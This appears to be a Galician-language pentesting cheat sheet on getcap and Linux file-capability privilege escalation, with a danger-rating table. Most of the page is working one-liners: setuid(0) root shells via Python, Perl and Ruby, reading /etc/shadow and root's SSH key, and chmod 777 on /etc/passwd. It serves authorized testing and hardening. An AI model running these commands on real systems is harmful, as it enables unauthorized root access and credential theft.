Ir ao contido

getcap - Enumerar Capabilities de Linux

Descrición

Comando para listar as capabilities de ficheiros en Linux. As capabilities permiten dar privilexios específicos a binarios sen necesidade de SUID root, pero poden ser explotadas para escalada de privilexios.

Sintaxe básica

getcap -r <ruta> 2>/dev/null

Opcións principais

Opción Descrición
-r Busca recursiva
-v Modo verbose

Exemplos de uso

Enumeración básica

# Buscar todas as capabilities no sistema
getcap -r / 2>/dev/null

# Buscar capabilities en /usr/bin
getcap -r /usr/bin 2>/dev/null

# Buscar capabilities en directorios comúns
getcap -r /usr/sbin 2>/dev/null
getcap -r /usr/local/bin 2>/dev/null

# Exemplo de saída:
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep

Capabilities perigosas para escalada

cap_setuid+ep (Cambiar UID)

# Python con cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl con cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Ruby con cap_setuid
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

cap_dac_read_search+ep (Ler calquera ficheiro)

# Tar con cap_dac_read_search - extraer ficheiros de root
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar

# Vim con cap_dac_read_search - ler ficheiros de root
vim /etc/shadow
vim /root/.ssh/id_rsa

# Python con cap_dac_read_search
python3 -c 'print(open("/etc/shadow").read())'

cap_chown+ep (Cambiar propietario)

# Python con cap_chown - cambiar propietario de /etc/passwd
python3 -c 'import os; os.chown("/etc/passwd", 1000, 1000)'

# Agora podemos editar /etc/passwd e engadir usuario root

cap_fowner+ep (Bypass file permission checks)

# Permite modificar permisos de ficheiros non propios
python3 -c 'import os; os.chmod("/etc/passwd", 0o777)'

cap_sys_admin+ep (Administración do sistema)

# Moitas capacidades administrativas, incluíndo montar sistemas de ficheiros
# Pode ser usada para montar o sistema de ficheiros raíz

cap_net_bind_service+ep (Bind a portos baixos)

# Non é directamente escalada de privilexios
# Permite a un proceso non-root escoitar en portos < 1024

cap_net_raw+ep (Uso de sockets RAW)

# Permite crear sockets RAW e PACKET
# Útil para sniffing e spoofing, non directamente para escalada

Workflow de explotación

# 1. Enumerar capabilities
getcap -r / 2>/dev/null

# 2. Identificar capabilities perigosas
# Buscar principalmente: cap_setuid, cap_dac_read_search, cap_chown

# 3. Explotar segundo a capability
# cap_setuid+ep:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search+ep:
/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow
cd /tmp && tar -xvf shadow.tar

# 4. Obtención de root ou lectura de ficheiros sensibles

Capabilities comúns e a súa descrición

Capability Descrición Perigosidade
cap_setuid Cambiar UID do proceso ⚠️ MOI ALTA
cap_setgid Cambiar GID do proceso ⚠️ ALTA
cap_dac_read_search Bypass lectura e busca de ficheiros ⚠️ MOI ALTA
cap_dac_override Bypass permisos de escritura ⚠️ MOI ALTA
cap_fowner Bypass permission checks en operacións ⚠️ ALTA
cap_chown Cambiar propietario de ficheiros ⚠️ ALTA
cap_sys_admin Rango de operacións administrativas ⚠️ MOI ALTA
cap_sys_ptrace Trace de procesos arbitrarios ⚠️ MEDIA
cap_net_bind_service Bind a portos < 1024 ⚠️ BAIXA
cap_net_raw Uso de sockets RAW e PACKET ⚠️ BAIXA

Establecer capabilities (require root)

# Establecer capability (só como exemplo)
setcap cap_setuid+ep /usr/bin/python3

# Eliminar capability
setcap -r /usr/bin/python3

# Ver capabilities dun binario específico
getcap /usr/bin/python3

Notas adicionais

  • As capabilities son unha alternativa máis segura a SUID root
  • +ep significa "Effective" e "Permitted" - o capability está activo
  • Capabilities mal configuradas poden ser tan perigosas como SUID root
  • Sempre verificar en GTFOBins para métodos de explotación
  • cap_setuid é funcionalmente equivalente a ter SUID root
  • Moitos sistemas non usan capabilities, polo que atoparlas é menos común que atopar permisos SUID
  • HackTricks ten excelente documentación sobre capabilities: https://chinnidiwakar.gitbook.io/githubimport/linux-unix/privilege-escalation/linux-capabilities